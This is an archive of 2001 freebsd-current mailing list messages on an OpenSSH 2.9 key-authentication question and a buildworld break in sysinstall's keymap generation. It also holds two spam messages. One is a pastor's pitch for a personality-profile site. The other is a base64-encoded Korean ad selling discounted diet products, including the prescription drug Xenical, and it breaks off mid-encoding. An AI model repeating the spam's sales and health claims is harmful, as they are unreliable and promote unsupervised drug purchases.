From owner-freebsd-current Sun May 13 0:44:51 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 70D1937B423 for ; Sun, 13 May 2001 00:44:44 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id JAA28296; Sun, 13 May 2001 09:44:42 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 14yqYT-0003wX-00 for ; Sun, 13 May 2001 09:44:41 +0200 Date: Sun, 13 May 2001 09:44:41 +0200 From: Szilveszter Adam To: current@freebsd.org Subject: Re: ssh public key auth. incompatible between 2.3.0 vs. 2.9? Message-ID: <20010513094441.A14525@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , current@freebsd.org References: <200105130540.f4D5eZl71004@bunrab.catwhisker.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105130540.f4D5eZl71004@bunrab.catwhisker.org>; from david@catwhisker.org on Sat, May 12, 2001 at 10:40:35PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello David, On Sat, May 12, 2001 at 10:40:35PM -0700, David Wolfskill wrote: > OK; there's something about the (relatively) new ssh (2.9) in -CURRENT > I'm not understanding. I have hunted around for some clues (via man pages > & the like), but it could well be that I'm still failing to notice > something -- quite possibly something that should be obvious to even me > -- and I welcome a clue. I am working on reproducing this, so I would like to ask for clarification... Unless I am mistaken, you have 3.2-RELEASE on the machine that you are connecting to with ssh2 port installed. Right? And you are trying to use RSA Auth using ssh1 on purpose although both sides could use ssh2 in theory. And you are seeing that -CURRENT's ssh does not fall back to RSA key auth when it cannot use DSA. But you have already used ssh2 to this host before. (Because it is contained in the known_hosts2 file). Maybe this confuses ssh. In my setup, I have only one server that can do SSH2 (mine, the -CURRENT box) all others are unable, because they use either older versions of OpenSSH or the ssh1 from SSH Communications. But I have absolutely no problem in connecting between them with RSA keys... although I have just tried (almost) all combinations.:-) Even the -CURRENT server does well, although ssh2 is the first option tried in the server config because some windoze clients can do ssh2 already so why not use it? But admittedly I have not tried RSA auth between two ssh2 capable hosts... will need the help of a collegaue with it. (who will kindly reboot the machine on the other end into FreeBSD-STABLE:-) Note that I do not have a known_hosts2 or an authorized_keys2 file anywhere. -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 0:49:31 2001 Delivered-To: freebsd-current@freebsd.org Received: from mppsystems.com (mppsystems.com [208.210.148.205]) by hub.freebsd.org (Postfix) with ESMTP id 30F2437B423; Sun, 13 May 2001 00:49:28 -0700 (PDT) (envelope-from mpp@mppsystems.com) Received: (from mpp@localhost) by mppsystems.com (8.11.3/8.11.3) id f4D7nF034914; Sun, 13 May 2001 02:49:15 -0500 (CDT) (envelope-from mpp) Date: Sun, 13 May 2001 02:49:15 -0500 From: Mike Pritchard To: "Matthew D. Fuller" Cc: Ken Wills , sobomax@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: Re: -CURRENT b0rked? Message-ID: <20010513024915.A34781@mppsystems.com> References: <200105120548.f4C5mM076847@Mail-In.Net> <200105120921.f4C9Lr081057@Mail-In.Net> <20010512193621.Q54596@over-yonder.net> <20010512220720.A10483@dougal.workpc.tds.net> <20010512221125.R54596@over-yonder.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010512221125.R54596@over-yonder.net>; from fullermd@over-yonder.net on Sat, May 12, 2001 at 10:11:25PM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, May 12, 2001 at 10:11:25PM -0500, Matthew D. Fuller wrote: > On Sat, May 12, 2001 at 10:07:20PM -0500 I heard the voice of > Ken Wills, and lo! it spake thus: > > > > Deleting keymap.h (autogenerated, in obj/* somewhere, I forget), and restarting > > the build got me past this. > > I start all my builds with an empty /usr/obj and a freshly co'd /usr/src. > Re-newfs'ing everything here and trying again, just to make doubly sure > now, but I'm pretty sure I cleaned up as always. Sounds like a problem I had today trying to do a buildworld. I suspect that the following change messed things up: src/usr.sbin/sysinstall/Makefile: revision 1.110 date: 2001/05/12 09:19:36; author: sobomax; state: Exp; lines: +2 -1 Take keyboard map files from ${.CURDIR}/../../share/syscons/keymaps, not from /usr/share/syscons/keymaps. This should prevent word breakage when new keymaps have been added. To get around it, I just commented out the file that was causing problems in the makefile (ua.XXXX.alt.kbd or something like that), but before that I had nuked /usr/obj twice, and did fresh checkouts of /usr/src just to be sure I hadn't messed up. -Mike - Mike Pritchard mpp@FreeBSD.org or mpp@mppsystems.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 2:42:54 2001 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id 60D6E37B423; Sun, 13 May 2001 02:42:48 -0700 (PDT) (envelope-from jhay@zibbi.icomtek.csir.co.za) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.1/8.11.1) id f4D9gIP84726; Sun, 13 May 2001 11:42:18 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200105130942.f4D9gIP84726@zibbi.icomtek.csir.co.za> Subject: Re: Re: -CURRENT b0rked? In-Reply-To: <20010512193621.Q54596@over-yonder.net> from "Matthew D. Fuller" at "May 12, 2001 07:36:21 pm" To: fullermd@over-yonder.net (Matthew D. Fuller) Date: Sun, 13 May 2001 11:42:18 +0200 (SAT) Cc: sobomax@FreeBSD.ORG, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > > It seems that sysinstall(8) was not fully integrated into > > buildworld - it depends on content of /usr/share/syscons/keymaps, > > while it shouldn't. > > > > I've just committed a patch that should fix this problem. > > Hoo, here I come to make your life a living hell once more... > > In file included from /usr/src/usr.sbin/sysinstall/keymap.c:40: > keymap.h:2: `keymap_be_iso' undeclared here (not in a function) > keymap.h:2: initializer element is not constant > keymap.h:2: (near initialization for `keymapInfos[0].map') > keymap.h:3: `keymap_br275_iso' undeclared here (not in a function) > keymap.h:3: initializer element is not constant > keymap.h:3: (near initialization for `keymapInfos[1].map') > You should look a little earlier in the logs to where the damage was really done: rm -f keymap.tmp for map in be.iso br275.iso danish.iso finnish.iso fr.iso german.iso hr.iso hu. iso2.101keys it.iso icelandic.iso jp.106 norwegian.iso pl_PL.ISO_8859-2 pt.iso ru.koi8-r si.iso spanish.iso swedish.iso swissfrench.iso swissgerman.iso ua.koi 8-u ua.koi8-u.shift.alt uk.iso us.dvorak us.iso us.pc-ctrl us.unix ; do env KE YMAP_PATH=/usr/src/usr.sbin/sysinstall/../../share/syscons/keymaps kbdcontrol - L $map | sed -e '/^static accentmap_t/,$d' >> keymap.tmp ; done Segmentation fault - core dumped Segmentation fault - core dumped Segmentation fault - core dumped Segmentation fault - core dumped Segmentation fault - core dumped ... It looks like kbdcontrol is not very happy. John -- John Hay -- John.Hay@icomtek.csir.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 2:48:23 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail.cisnet.com (mail.cisnet.com [204.179.144.161]) by hub.freebsd.org (Postfix) with ESMTP id 35FC637B424 for ; Sun, 13 May 2001 02:48:21 -0700 (PDT) (envelope-from prayer@cyberministry.com) Received: from brad (unverified [207.17.248.112]) by mail.cisnet.com (Vircom SMTPRS 4.5.186) with ESMTP id for ; Sun, 13 May 2001 05:56:48 -0400 Date: Sun, 13 May 2001 05:56:48 -0400 Message-ID: To: current@freebsd.org From: prayer@cyberministry.com Subject: Free Biblical Personality Profile at www.personalitystyle.com Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am a pastor that has spent many years in Christian counseling. It was so refreshing to find Christian resources that made it easier to work with couples or individuals that were struggling with their identity and self worth. I am pleased to now be working with the very company that helped impact not only my ministry, but my own marriage and family. THe site is www.personalitystyle.com You can take a mini profile for free, not only for yourself but for others. I have worked with many ministries across the country that actually upgraded to full reports for their entire staff and all those who came for counseling. THat is up to you. Please be my guest to take the FREE profile. God Bless Pastor Brad Smith PS- see www.discinsights.com for material to use in family and pastoral counseling arenas also. We have a toll free number at 1-800-779-DISC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun May 13 3:36:34 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail3.hispeedhosting.com (mail3.hispeedhosting.com [64.27.65.22]) by hub.freebsd.org (Postfix) with ESMTP id D23E637B43F for ; Sun, 13 May 2001 03:35:43 -0700 (PDT) (envelope-from test@test.com) Received: from frank [64.171.213.122] by mail3.hispeedhosting.com (SMTPD32-6.06) id A3793AA50102; Sun, 13 May 2001 06:35:37 -0400 Date: Sun, 13 May 2001 03:32:56 +0900 From: "www.e4989.com" To: freebsd-current@freebsd.org Subject: 다이어트 와 성인 X-AD2000-Serial: 1064 X-AD2000-Register: "피터박" MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: base64 Message-Id: <200105130635783.SM00220@frank> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG PEhUTUw+DQo8SEVBRD4NCjxNRVRBIE5BTUU9IkdFTkVSQVRPUiIgQ29udGVudD0iTWljcm9z b2Z0IERIVE1MIEVkaXRpbmcgQ29udHJvbCI+DQo8VElUTEU+PC9USVRMRT4NCjwvSEVBRD4N CjxCT0RZPjxGT05UIGZhY2U9sby4ssO8IHNpemU9Mj4NCjxESVY+DQo8UCBhbGlnbj1sZWZ0 PjxTVFJPTkc+PEZPTlQ+PEZPTlQgc2l6ZT00PjxGT05UIA0KY29sb3I9IzAwODAwMD4mbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsgDQpmcmVlYnNkLWN1cnJlbnQ8L0ZPTlQ+tNQmbmJzcDsg vsiz58fPvLy/5CA/PC9GT05UPjwvRk9OVD48L1NUUk9ORz48L1A+DQo8UCBhbGlnbj1sZWZ0 PjxGT05UIGNvbG9yPSNmZjAwODA+PFNUUk9ORz6057vntMIgucyxuUxBv6EgvNLA58fPuOcg wM7FzbPdILzux8649CDA/LmuvvfDvCDA1LTPtNkuIA0KPC9TVFJPTkc+PC9GT05UPjwvUD4N CjxQIGFsaWduPWxlZnQ+PFNUUk9ORz48Rk9OVCBjb2xvcj0jZmYwMDgwPrnMsbm/obytIMiu vcfI9yDAzsGkILnewLogx7C48bi4IMC4t84gv6m3r7rQwLsgwKfH2CDB2LrxIA0Kx9+9wLTP tNk8L0ZPTlQ+PC9TVFJPTkc+LiANCjxQIGFsaWduPWNlbnRlcj48L1A+PEZPTlQgY29sb3I9 IzAwMDA4MD48Rk9OVCBmYWNlPbG8uLLDvCANCnNpemU9Mj48L0ZPTlQ+PC9GT05UPjxVPjxG T05UIGZhY2U9sby4ssO8IGNvbG9yPSNmZjAwMDAgc2l6ZT0yPjxCUj48L0ZPTlQ+PC9VPg0K PFAgYWxpZ249bGVmdD4NCjxUQUJMRSB3aWR0aD02NTIgYm9yZGVyPTE+DQogIDxUQk9EWT4N CiAgPFRSPg0KICAgIDxURCB3aWR0aD0iMTAwJSI+DQogICAgICA8UCBhbGlnbj1jZW50ZXI+ PEZPTlQgZmFjZT2xvLiyw7wgc2l6ZT0yPjwvRk9OVD48VT48Qj48Rk9OVCBmYWNlPbG8uLLD vCANCiAgICAgIGNvbG9yPSNmZjAwMDAgc2l6ZT01PsTauK6+xsW4v+4gu+fAzLn2uPQ8L0ZP TlQ+PC9CPjxGT05UIGZhY2U9sby4ssO8IGNvbG9yPSNmZjAwMDAgDQogICAgICBzaXplPTI+ Jm5ic3A7PC9GT05UPjwvVT48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0jZmYwMDAwIHNpemU9 Mj48VT48QlI+u/W03MDlILHis+QgDQogICAgICA8L1U+PC9GT05UPjxGT05UIGNvbG9yPSNm ZjAwMDA+PFU+xq+6sCC8vMDPu/PHsCANCjwvVT48L0ZPTlQ+PC9QPjwvVEQ+PC9UUj48L1RC T0RZPjwvVEFCTEU+PC9QPg0KPFAgYWxpZ249Y2VudGVyPiZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOzxGT05UIA0KY29sb3I9I2ZmMDAwMD48VT48QlI+PEJSPjwvUD48L1U+PC9G T05UPg0KPERJViBhbGlnbj1sZWZ0Pg0KPFRBQkxFIGhlaWdodD0xODAgd2lkdGg9NjUyIGJv cmRlcj0wPg0KICA8VEJPRFk+DQogIDxUUj4NCiAgICA8VEQgd2lkdGg9NzM3IGNvbFNwYW49 MiBoZWlnaHQ9MTU+DQogICAgICA8SFIgYWxpZ249Y2VudGVyIGNvbG9yPSMwMDgwMDAgU0la RT0xPg0KDQogICAgICA8UCBhbGlnbj1sZWZ0PqGhIDwvUD48L1REPjwvVFI+DQogIDxUUj4N CiAgICA8VEQgd2lkdGg9NzM3IGNvbFNwYW49MiBoZWlnaHQ9MTU+DQogICAgICA8UCBhbGln bj1jZW50ZXI+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCBzaXplPTI+waa0z8Su KFhlbmljYWwpJm5ic3A7IA0KICAgICAgtNnAzL7uxq4mbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDs8L0ZPTlQ+PC9QPjwvVEQ+PC9UUj4NCiAgPFRSPg0KICAgIDxURCB2QWxpZ249 dG9wIHdpZHRoPTc0IGhlaWdodD0xNTM+DQogICAgICA8UCBhbGlnbj1jZW50ZXI+PEZPTlQg ZmFjZT2xvLiyw7wgc2l6ZT0yPjxBIA0KICAgICAgaHJlZj0iaHR0cDovL3d3dy5rb3JlYXRv d25jeWJlcm1hbGwuY29tIj48SU1HIA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmtvcmVhdG93 bmN5YmVybWFsbC5jb20vTWFpbl9QYWdlL3hlbmljYWwta29yZWEuanBnIiANCiAgICAgIGJv cmRlcj0wPjwvQT48L0ZPTlQ+PC9QPjwvVEQ+DQogICAgPFREIHZBbGlnbj1jZW50ZXIgYWxp Z249bGVmdCB3aWR0aD02NjIgaGVpZ2h0PTE1Mz4NCiAgICAgIDxQIGFsaWduPWxlZnQ+PEZP TlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCBzaXplPTI+PEI+ucyxub3Ex7DAx77gsbko RkRBKTwvQj4gvcLAzsC7IA0KICAgICAgud7AuiC9xL/lIL7vwaa++MDMIMO8wd/BtsD9IMi/ sPq9xLvnv6EgxvfH1LXIIMH2uea3rsDHIDMwJb/NILDhx9XH2CDB9rnmwMwgwOW/obytIMjt vPa1x7TCILDNwLsgvu/BpsDlv6G8rSDB98GiIMDbv+vHz7TCILTZwMy+7sauIA0KICAgICAg vuDAuLfOtMIgvLyw6CDD1sPKwaa0z8SuwLogvcTAzMH2uebAxyDI7bz2uKYguLe+xsHWseIg wKfH2CDA5b+hvK0gwNu/68fPtMIgvu/BpsGmsKEgtem+7sDWvu4gvcS/5cC7IL7vwabHz8H2 IL7KsO0gw7zB38C7IMHZwMy0wrWlIA0KICAgICAgtbW/8sDMILXItNkuPEJSPjwvRk9OVD48 Rk9OVCBzaXplPTI+v/i3obChsN06IA0KICAgICAgPFNUUklLRT4kMTkwJm5ic3A7Jm5ic3A7 PC9TVFJJS0U+PC9GT05UPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyANCiAgICAgIDxGT05UIGNvbG9yPSNmZjAwMDAgc2l6 ZT0yPry8wM+wobDdPC9GT05UPjxGT05UIGNvbG9yPSNmZjAwMDA+OiANCiAgICAgICQxMzUm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgx9LAzr7XOiAkNTU8 QlI+PC9GT05UPjxGT05UIA0KICAgICAgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCBzaXpl PTI+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5YmVybWFsbC5jb20i PjxJTUcgaGVpZ2h0PTMzIA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5YmVy bWFsbC5jb20vc2hvcHBpbmdfdGl0X2JsdWUuZ2lmIiB3aWR0aD0xMzYgDQogICAgICBib3Jk ZXI9MD48L0E+PC9GT05UPjwvUD48L1REPjwvVFI+PC9UQk9EWT48L1RBQkxFPjwvRElWPg0K PFAgYWxpZ249Y2VudGVyPjwvUD4NCjxQPg0KPFRBQkxFIGNlbGxTcGFjaW5nPTEgd2lkdGg9 NjQ1IGJvcmRlcj0wPg0KICA8VEJPRFk+DQogIDxUUj4NCiAgICA8VEQgYWxpZ249bWlkZGxl IHdpZHRoPTg3MyBjb2xTcGFuPTIgaGVpZ2h0PTE0Pg0KICAgICAgPEhSIGFsaWduPWNlbnRl ciBjb2xvcj0jMDA4MDAwIFNJWkU9MT4NCg0KICAgICAgPFA+oaEgPC9QPjwvVEQ+PC9UUj4N CiAgPFRSPg0KICAgIDxURCBhbGlnbj1sZWZ0IHdpZHRoPTg3MyBjb2xTcGFuPTIgaGVpZ2h0 PTE0Pg0KICAgICAgPFAgYWxpZ249Y2VudGVyPjxGT05UIGZhY2U9sby4ssO8IGNvbG9yPSMw MDAwODAgDQogICAgICBzaXplPTI+RGV4YXRyaW0mbmJzcDsmbmJzcDsotNnAzL7uxq6+4C+9 xL/lvu/Bpik8L0ZPTlQ+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDAwMCANCiAgICAg IHNpemU9Mj4mbmJzcDs8L0ZPTlQ+IDwvUD48L1REPjwvVFI+DQogIDxUUj4NCiAgICA8VEQg YWxpZ249bWlkZGxlIHdpZHRoPTU3IGhlaWdodD0xOT48Rk9OVCBmYWNlPbG8uLLDvCBzaXpl PTI+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3LmtvcmVhdG93bmN5YmVybWFsbC5jb20i PjxJTUcgDQogICAgICBzcmM9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbS9N YWluX1BhZ2UvRGV4YXRyaW0uanBnIiANCiAgICAgIGJvcmRlcj0wPjwvQT48L0ZPTlQ+PC9U RD4NCiAgICA8VEQgdkFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTgxMCBoZWlnaHQ9MTk+ DQogICAgICA8UCBhbGlnbj1sZWZ0PjxGT05UIGZhY2U9sby4ssO8IHNpemU9Mj48QlI+PEI+ PEZPTlQgDQogICAgICBjb2xvcj0jZmYwMGZmPjxCUj48L0ZPTlQ+PC9CPjxGT05UIGNvbG9y PSMwMDAwODA+v6m3r7ChwfYgtNm+7sauv6EgvcfG0MfRILrQtenAuyDAp8fRIMi5seLA+8DO IA0KICAgICAgtNm+7sauvuAuIDEgwM8gMci4ILq5v+vAuLfOIDEyvcOwoyC9w8DlseIgwaaw xcfPv6kgxK63zriuILy3w+vAuyDA2r+svbq3tLDUIMTcxq630cfPv6kgwNq/rL26t7Sw1CDD vMHfIMD6x8+0wiC8vLfOv+4gDQogICAgICC02b7uxq6+4C4mbmJzcDs8QlI+PC9GT05UPjxC Uj7BpsG2v/g6ucyxuTwvRk9OVD4mbmJzcDs8QlI+PEZPTlQgc2l6ZT0yPr/4t6GwobDdOiZu YnNwOyANCiAgICAgIDxTVFJJS0U+JDQ1PC9TVFJJS0U+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KICAgICAgPEZPTlQg Y29sb3I9I2ZmMDAwMD68vMDPsKGw3TogDQogICAgICAkMjImbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgx9LAzr7XPC9GT05UPjwvRk9OVD48Rk9O VCANCiAgICAgIGNvbG9yPSNmZjAwMDAgc2l6ZT0yPjogJDIzPEJSPjwvRk9OVD48Rk9OVCBm YWNlPbG8uLLDvCBjb2xvcj0jMDAwMDgwIA0KICAgICAgc2l6ZT0yPjxBIGhyZWY9Imh0dHA6 Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbSI+PElNRyBoZWlnaHQ9MzMgDQogICAgICBz cmM9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbS9zaG9wcGluZ190aXRfYmx1 ZS5naWYiIHdpZHRoPTEzNiANCiAgICAgIGJvcmRlcj0wPjwvQT48L0ZPTlQ+PC9QPjwvVEQ+ PC9UUj48L1RCT0RZPjwvVEFCTEU+DQo8VEFCTEUgaGVpZ2h0PTE3OCBjZWxsU3BhY2luZz0x IHdpZHRoPTY0NSBib3JkZXI9MD4NCiAgPFRCT0RZPg0KICA8VFI+DQogICAgPFREIGFsaWdu PW1pZGRsZSB3aWR0aD04NzMgY29sU3Bhbj0yIGhlaWdodD01Nj4NCiAgICAgIDxIUiBhbGln bj1jZW50ZXIgY29sb3I9IzAwODAwMCBTSVpFPTE+DQoNCiAgICAgIDxQPqGhIDwvUD48L1RE PjwvVFI+DQogIDxUUj4NCiAgICA8VEQgYWxpZ249bGVmdCB3aWR0aD04NzMgY29sU3Bhbj0y IGhlaWdodD0xNT4NCiAgICAgIDxQIGFsaWduPWNlbnRlcj48Rk9OVCBmYWNlPbG8uLLDvCBj b2xvcj0jMDAwMDgwIA0KICAgICAgc2l6ZT0yPkRpdXJleCi02cDMvu7GrikmbmJzcDs8L0ZP TlQ+PC9QPjwvVEQ+PC9UUj4NCiAgPFRSPg0KICAgIDxURCB2QWxpZ249dG9wIGFsaWduPW1p ZGRsZSB3aWR0aD0xMjIgaGVpZ2h0PTk1PjxGT05UIGZhY2U9sby4ssO8IHNpemU9Mj48QSAN CiAgICAgIGhyZWY9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbSI+PElNRyAN CiAgICAgIHNyYz0iaHR0cDovL3d3dy5rb3JlYXRvd25jeWJlcm1hbGwuY29tL01haW5fUGFn ZS9EaXVyZXguanBnIiANCiAgICAgIGJvcmRlcj0wPjwvQT48L0ZPTlQ+PC9URD4NCiAgICA8 VEQgdkFsaWduPWNlbnRlciBhbGlnbj1sZWZ0IHdpZHRoPTc0NSBoZWlnaHQ9OTU+DQogICAg ICA8UD48Rk9OVCBmYWNlPbG8uLLDvCBzaXplPTI+u/24rsD8IMO8wd/B9bChv80gutLE6LCo wLsmbmJzcDsgwaawxcfYwda0wiDGr8i/wMcgvuDHsC48L0ZPTlQ+PEZPTlQgDQogICAgICBm YWNlPbG8uLLDvCBzaXplPTI+IDHAzzHIuCC6ub/rwLi3ziC7/biuwPwguPa/oSC89rrQwfWw ocC7ILzSuq/AuLfOILnovLPHz7+pIMbItNm4rr+hILrOseK/zSC+xrenueggsMW6z8fUwLsg DQogICAgICC++L+hwdwuJm5ic3A7PC9GT05UPjxGT05UIGZhY2U9sby4ssO8IHNpemU9Mj48 QlI+PC9GT05UPjxGT05UIGZhY2U9sby4ssO8IA0KICAgICAgc2l6ZT0yPsGmwba/+Dogucyx uSZuYnNwOzwvRk9OVD48Rk9OVCBzaXplPTI+PEJSPr/4t6GwobDdOiZuYnNwOyZuYnNwOyAN CiAgICAgIDxTVFJJS0U+JDQ1PC9TVFJJS0U+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7IDxGT05UIA0KICAgICAgY29sb3I9I2ZmMDAwMD68vMDPsKGw3Tog DQogICAgICAkMjImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgDQogICAgICDH0sDOvtckMjM8QlI+PC9GT05UPjwv Rk9OVD48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0jMDAwMDgwIHNpemU9Mj48QSANCiAgICAg IGhyZWY9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbSI+PElNRyBoZWlnaHQ9 MzMgDQogICAgICBzcmM9Imh0dHA6Ly93d3cua29yZWF0b3duY3liZXJtYWxsLmNvbS9zaG9w cGluZ190aXRfYmx1ZS5naWYiIHdpZHRoPTEzNiANCiAgICAgIGJvcmRlcj0wPjwvQT48L0ZP TlQ+IDwvUD48L1REPjwvVFI+PC9UQk9EWT48L1RBQkxFPjwvUD4NCjxQPqGhPC9QPg0KPFA+ DQo8VEFCTEUgY2VsbFNwYWNpbmc9MSB3aWR0aD02NDUgYm9yZGVyPTA+DQogIDxUQk9EWT4N CiAgPFRSPg0KICAgIDxURCBhbGlnbj1taWRkbGUgd2lkdGg9ODczIGNvbFNwYW49MiBoZWln aHQ9MTQ+DQogICAgICA8SFIgYWxpZ249Y2VudGVyIGNvbG9yPSMwMDgwMDAgU0laRT0xPg0K DQogICAgICA8UD6hoSA8L1A+PC9URD48L1RSPg0KICA8VFI+DQogICAgPFREIGFsaWduPWxl ZnQgd2lkdGg9ODczIGNvbFNwYW49MiBoZWlnaHQ9MTQ+DQogICAgICA8UCBhbGlnbj1jZW50 ZXI+PEZPTlQgZmFjZT2xvLiyw7wgY29sb3I9IzAwMDA4MCBzaXplPTI+TmFpcijDvLjwIMGm sMUgDQogICAgICC3zrzHKSZuYnNwOzwvRk9OVD48Rk9OVCBmYWNlPbG8uLLDvCBjb2xvcj0j MDAwMDAwIA0Kc2l6ZT0yPiZuYnNwOzwvRk9OVD48L1A+PC9URD48L1RSPg0KICA8VFI+DQog ICAgPFREIHZBbGlnbj10b3AgYWxpZ249bWlkZGxlIHdpZHRoPTU3IGhlaWdodD0xOT48Rk9O VCBmYWNlPbG8uLLDvCBzaXplPTI+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3LmtvcmVh dG93bmN5YmVybWFsbC5jb20iPjxJTUcgDQogICAgICBzcmM9Imh0dHA6Ly93d3cua29yZWF0 b3duY3liZXJtYWxsLmNvbS9NYWluX1BhZ2UvMTUxMXQuanBnIiANCiAgICAgIGJvcmRlcj0w PjwvQT48L0ZPTlQ+PC9URD4NCiAgICA8VEQgdkFsaWduPWNlbnRlciBhbGlnbj1sZWZ0IHdp ZHRoPTgxMCBoZWlnaHQ9MTk+DQogICAgICA8UCBhbGlnbj1sZWZ0PjxGT05UIGZhY2U9sby4 ssO8IHNpemU9Mj48Rk9OVCBjb2xvcj0jMDAwMDgwPr+puKfDtr+hILPrw+K1x77uILq4seLI 5MfRIA0KICAgICAgsNy15bb7wMwsxsgstNm4riC17rXuIMXQwLsguLuy+8j3IL74vtbB1rTC IMWpuLIuoaE8L0ZPTlQ+t868x8C7ILPrw+K1x7TCILrOutC/oSC52bilyMQgMy01utDIxL+h IMjewfa3ziC028C4uOkgurix4r3IwLogDQogICAgICDDvLjwwLsgv8+6rsfPsNQgwaawxcfY wdwuPEJSPjxCUj48L0ZPTlQ+PEZPTlQgZmFjZT2xvLiyw7wgc2l6ZT0yPsGmwba/+Dogucyx uTwvRk9OVD48Rk9OVCANCiAgICAgIHNpemU9Mj48Rk9OVCBmYWNlPbG8uLLDvD4gJm5ic3A7 PEJSPjwvRk9OVD6/+LehsKGw3TombmJzcDsgDQogICAgICA8U1RSSUtFPiQzNTwvU1RSSUtF PiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyANCiAgICAgIDxGT05UIGNvbG9yPSNmZjAwMDA+vLzAz7ChsN06IA0KICAgICAgJDIwJm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IMfS wM6+1zogDQogICAgICAkMTU8QlI+PC9GT05UPjwvRk9OVD48Rk9OVCBmYWNlPbG8uLLDvCBj b2xvcj0jMDAwMDgwIHNpemU9Mj48QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cua29yZWF0 b3duY3liZXJtYWxsLmNvbSI+PElNRyBoZWlnaHQ9MzMgDQogICAgICBzcmM9Imh0dHA6Ly93 